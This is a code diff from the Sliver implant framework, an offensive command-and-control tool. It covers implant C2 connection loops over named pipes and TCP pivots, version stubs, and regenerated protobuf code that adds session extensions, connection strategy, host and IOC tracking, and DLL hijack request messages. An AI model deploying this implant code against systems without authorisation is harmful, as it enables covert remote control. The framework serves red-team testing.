send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan bool, 1)
connection := &Connection{
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
cleanup: func() {
// {{if .Config.Debug}}
log.Printf("[namedpipe] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- true
close(recv)
},
}
go func() {
defer connection.Cleanup()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
// {{end}}
namedPipeWriteEnvelope(&conn, envelope)
}
}()
go func() {
defer connection.Cleanup()
for {
envelope, err := namedPipeReadEnvelope(&conn)
if err == io.EOF {
break
}
if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
}
}
}()
activeConnection = connection
return connection, nil
}
// {{end}} -NamePipec2Enabled
// {{if .Config.TCPPivotc2Enabled}}
func tcpPivotConnect(uri *url.URL) (*Connection, error) {
addr := strings.ReplaceAll(uri.String(), "tcppivot://", "")
@@ -763,7 +756,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
// {{end}}
tcpPivoteWriteEnvelope(&conn, envelope)
tcpPivotWriteEnvelope(&conn, envelope)
}
}()
@@ -789,7 +782,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
// {{end}} -TCPPivotc2Enabled
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the fucking certificate validation and re-implement everything.
// we have to disable all of the certificate validation and re-implement everything.
// https://github.com/golang/go/issues/21971
func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error {
+18
View File
@@ -1,5 +1,23 @@
package version
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetVersion() string {
return ""
}
@@ -1,6 +0,0 @@
package version
// GetVersion returns the os version information
func GetVersion() string {
return ""
}
@@ -1,8 +1,10 @@
package shell
//go:build !darwin && !(windows && (amd64 || 386)) && !(linux && (amd64 || 386))
package version
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -16,21 +18,14 @@ package shell
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions in generic builds.
*/
var (
// Shell constants
bash = []string{"/bin/bash"}
sh = []string{"/bin/sh"}
)
// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
return []string{path}
}
if exists(bash[0]) {
return bash
}
return sh
// GetVersion returns the os version information
func GetVersion() string {
return ""
}
+20
View File
@@ -1,5 +1,25 @@
//go:build amd64 || 386
package version
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"log"
+18
View File
@@ -1,5 +1,23 @@
package version
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
//{{if .Config.Debug}}
+636 -100
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: clientpb/client.proto
package clientpb
@@ -380,28 +380,29 @@ type Session struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ID uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
UUID string `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
Username string `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
UID string `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
GID string `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
OS string `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
Arch string `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
Transport string `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
RemoteAddress string `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
PID int32 `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
Filename string `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
LastCheckin string `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
ActiveC2 string `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
Version string `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
Evasion bool `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
IsDead bool `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
ReconnectInterval uint32 `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
ProxyURL string `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
PollInterval uint32 `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
Burned bool `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
ID uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
UUID string `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
Username string `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
UID string `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
GID string `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
OS string `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
Arch string `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
Transport string `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
RemoteAddress string `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
PID int32 `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
Filename string `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
LastCheckin string `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
ActiveC2 string `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
Version string `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
Evasion bool `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
IsDead bool `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
ReconnectInterval uint32 `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
ProxyURL string `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
PollInterval uint32 `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
Burned bool `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
Extensions []string `protobuf:"bytes,23,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
}
func (x *Session) Reset() {
@@ -590,6 +591,13 @@ func (x *Session) GetBurned() bool {
return false
}
func (x *Session) GetExtensions() []string {
if x != nil {
return x.Extensions
}
return nil
}
type ImplantC2 struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -677,18 +685,19 @@ type ImplantConfig struct {
MaxConnectionErrors uint32 `protobuf:"varint,9,opt,name=MaxConnectionErrors,proto3" json:"MaxConnectionErrors,omitempty"`
PollInterval uint32 `protobuf:"varint,38,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
// c2
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
ConnectionStrategy string `protobuf:"bytes,39,opt,name=ConnectionStrategy,proto3" json:"ConnectionStrategy,omitempty"`
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
}
func (x *ImplantConfig) Reset() {
@@ -863,6 +872,13 @@ func (x *ImplantConfig) GetCanaryDomains() []string {
return nil
}
func (x *ImplantConfig) GetConnectionStrategy() string {
if x != nil {
return x.ConnectionStrategy
}
return ""
}
func (x *ImplantConfig) GetLimitDomainJoined() bool {
if x != nil {
return x.LimitDomainJoined
@@ -2630,10 +2646,11 @@ type UpdateSession struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
SessionID uint32 `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
ReconnectInterval int32 `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
PollInterval int32 `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
SessionID uint32 `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
ReconnectInterval int32 `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
PollInterval int32 `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
Extensions []string `protobuf:"bytes,5,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
}
func (x *UpdateSession) Reset() {
@@ -2696,6 +2713,13 @@ func (x *UpdateSession) GetPollInterval() int32 {
return 0
}
func (x *UpdateSession) GetExtensions() []string {
if x != nil {
return x.Extensions
}
return nil
}
type GenerateReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -4469,6 +4493,378 @@ func (x *AllLoot) GetLoot() []*Loot {
return nil
}
// [ Hosts ] ----------------------------------------
type IOC struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Path string `protobuf:"bytes,1,opt,name=Path,proto3" json:"Path,omitempty"`
FileHash string `protobuf:"bytes,2,opt,name=FileHash,proto3" json:"FileHash,omitempty"`
ID string `protobuf:"bytes,3,opt,name=ID,proto3" json:"ID,omitempty"`
}
func (x *IOC) Reset() {
*x = IOC{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[61]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *IOC) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*IOC) ProtoMessage() {}
func (x *IOC) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[61]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use IOC.ProtoReflect.Descriptor instead.
func (*IOC) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{61}
}
func (x *IOC) GetPath() string {
if x != nil {
return x.Path
}
return ""
}
func (x *IOC) GetFileHash() string {
if x != nil {
return x.FileHash
}
return ""
}
func (x *IOC) GetID() string {
if x != nil {
return x.ID
}
return ""
}
type ExtensionData struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Output string `protobuf:"bytes,1,opt,name=Output,proto3" json:"Output,omitempty"`
}
func (x *ExtensionData) Reset() {
*x = ExtensionData{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[62]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *ExtensionData) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*ExtensionData) ProtoMessage() {}
func (x *ExtensionData) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[62]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead.
func (*ExtensionData) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{62}
}
func (x *ExtensionData) GetOutput() string {
if x != nil {
return x.Output
}
return ""
}
type Host struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Hostname string `protobuf:"bytes,1,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
HostUUID string `protobuf:"bytes,2,opt,name=HostUUID,proto3" json:"HostUUID,omitempty"`
OSVersion string `protobuf:"bytes,3,opt,name=OSVersion,proto3" json:"OSVersion,omitempty"`
IOCs []*IOC `protobuf:"bytes,4,rep,name=IOCs,proto3" json:"IOCs,omitempty"`
ExtensionData map[string]*ExtensionData `protobuf:"bytes,5,rep,name=ExtensionData,proto3" json:"ExtensionData,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
}
func (x *Host) Reset() {
*x = Host{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[63]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Host) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Host) ProtoMessage() {}
func (x *Host) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[63]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Host.ProtoReflect.Descriptor instead.
func (*Host) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{63}
}
func (x *Host) GetHostname() string {
if x != nil {
return x.Hostname
}
return ""
}
func (x *Host) GetHostUUID() string {
if x != nil {
return x.HostUUID
}
return ""
}
func (x *Host) GetOSVersion() string {
if x != nil {
return x.OSVersion
}
return ""
}
func (x *Host) GetIOCs() []*IOC {
if x != nil {
return x.IOCs
}
return nil
}
func (x *Host) GetExtensionData() map[string]*ExtensionData {
if x != nil {
return x.ExtensionData
}
return nil
}
type AllHosts struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Hosts []*Host `protobuf:"bytes,1,rep,name=Hosts,proto3" json:"Hosts,omitempty"`
}
func (x *AllHosts) Reset() {
*x = AllHosts{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[64]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *AllHosts) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*AllHosts) ProtoMessage() {}
func (x *AllHosts) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[64]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use AllHosts.ProtoReflect.Descriptor instead.
func (*AllHosts) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{64}
}
func (x *AllHosts) GetHosts() []*Host {
if x != nil {
return x.Hosts
}
return nil
}
// [ Dll Hijack ] ----------------------------------------
type DllHijackReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ReferenceDLLPath string `protobuf:"bytes,1,opt,name=ReferenceDLLPath,proto3" json:"ReferenceDLLPath,omitempty"`
TargetLocation string `protobuf:"bytes,2,opt,name=TargetLocation,proto3" json:"TargetLocation,omitempty"`
ReferenceDLL []byte `protobuf:"bytes,3,opt,name=ReferenceDLL,proto3" json:"ReferenceDLL,omitempty"`
TargetDLL []byte `protobuf:"bytes,4,opt,name=TargetDLL,proto3" json:"TargetDLL,omitempty"`
ProfileName string `protobuf:"bytes,5,opt,name=ProfileName,proto3" json:"ProfileName,omitempty"`
Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
}
func (x *DllHijackReq) Reset() {
*x = DllHijackReq{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[65]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *DllHijackReq) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*DllHijackReq) ProtoMessage() {}
func (x *DllHijackReq) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[65]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead.
func (*DllHijackReq) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{65}
}
func (x *DllHijackReq) GetReferenceDLLPath() string {
if x != nil {
return x.ReferenceDLLPath
}
return ""
}
func (x *DllHijackReq) GetTargetLocation() string {
if x != nil {
return x.TargetLocation
}
return ""
}
func (x *DllHijackReq) GetReferenceDLL() []byte {
if x != nil {
return x.ReferenceDLL
}
return nil
}
func (x *DllHijackReq) GetTargetDLL() []byte {
if x != nil {
return x.TargetDLL
}
return nil
}
func (x *DllHijackReq) GetProfileName() string {
if x != nil {
return x.ProfileName
}
return ""
}
func (x *DllHijackReq) GetRequest() *commonpb.Request {
if x != nil {
return x.Request
}
return nil
}
type DllHijack struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
}
func (x *DllHijack) Reset() {
*x = DllHijack{}
if protoimpl.UnsafeEnabled {
mi := &file_clientpb_client_proto_msgTypes[66]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *DllHijack) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*DllHijack) ProtoMessage() {}
func (x *DllHijack) ProtoReflect() protoreflect.Message {
mi := &file_clientpb_client_proto_msgTypes[66]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use DllHijack.ProtoReflect.Descriptor instead.
func (*DllHijack) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{66}
}
func (x *DllHijack) GetResponse() *commonpb.Response {
if x != nil {
return x.Response
}
return nil
}
var File_clientpb_client_proto protoreflect.FileDescriptor
var file_clientpb_client_proto_rawDesc = []byte{
@@ -4487,7 +4883,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09,
0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01,
0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0xc3, 0x04, 0x0a, 0x07, 0x53, 0x65, 0x73,
0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0xe3, 0x04, 0x0a, 0x07, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01,
0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74,
@@ -4523,13 +4919,15 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x52, 0x4c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76,
0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e,
0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64,
0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x22, 0x53,
0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e,
0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03,
0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x53,
0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x50,
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50,
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
0x6f, 0x6e, 0x73, 0x22, 0x8c, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
0x6f, 0x6e, 0x73, 0x22, 0xbc, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
@@ -4570,7 +4968,10 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32,
0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f,
0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e,
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f,
0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79,
0x18, 0x27, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69,
0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18,
0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61,
0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69,
